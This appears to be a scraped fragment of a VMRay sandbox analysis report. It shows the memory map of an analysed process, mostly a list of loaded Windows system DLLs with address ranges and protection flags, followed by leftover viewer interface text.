kernel32.dll 0x776e0000 0x777fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x77800000 0x779a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
taskkill.exe 0xff2a0000 0xff2befff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x7fee02f0000 0x7fee0414fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x7fef1d30000 0x7fef1d7bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x7fef50d0000 0x7fef50defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x7fef5240000 0x7fef52c5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x7fef9730000 0x7fef9747fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x7fefbb00000 0x7fefbb14fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x7fefbb20000 0x7fefbb2bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x7fefbb30000 0x7fefbb45fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x7fefbec0000 0x7fefbed0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x7fefc910000 0x7fefc91bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x7fefcd40000 0x7fefcd86fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x7fefd040000 0x7fefd056fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x7fefd540000 0x7fefd562fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x7fefd5e0000 0x7fefd5eafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x7fefd610000 0x7fefd634fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x7fefd640000 0x7fefd64efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x7fefd6f0000 0x7fefd72cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x7fefd730000 0x7fefd743fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x7fefd9d0000 0x7fefda3afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x7fefdb40000 0x7fefdb6dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x7fefdd50000 0x7fefddeefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x7fefde70000 0x7fefdf46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x7fefdf50000 0x7fefdf5dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x7fefe1c0000 0x7fefe3c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x7fefe550000 0x7fefe5e8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x7fefe5f0000 0x7fefe63cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x7fefe640000 0x7fefe76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x7fefe770000 0x7fefe7e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x7feff710000 0x7feff818fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x7feff8c0000 0x7feff8defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x7feff8e0000 0x7feff9bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x7feff9c0000 0x7feff9c7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x7feff9d0000 0x7feffa36fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x7feffa40000 0x7feffb08fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x7feffb20000 0x7feffb20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000007fffffd8000 0x7fffffd8000 0x7fffffd9fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffda000 0x7fffffda000 0x7fffffdbfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000007fffffde000 0x7fffffde000 0x7fffffdefff Private Memory Readable, Writable True False False
  • Region Actions
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image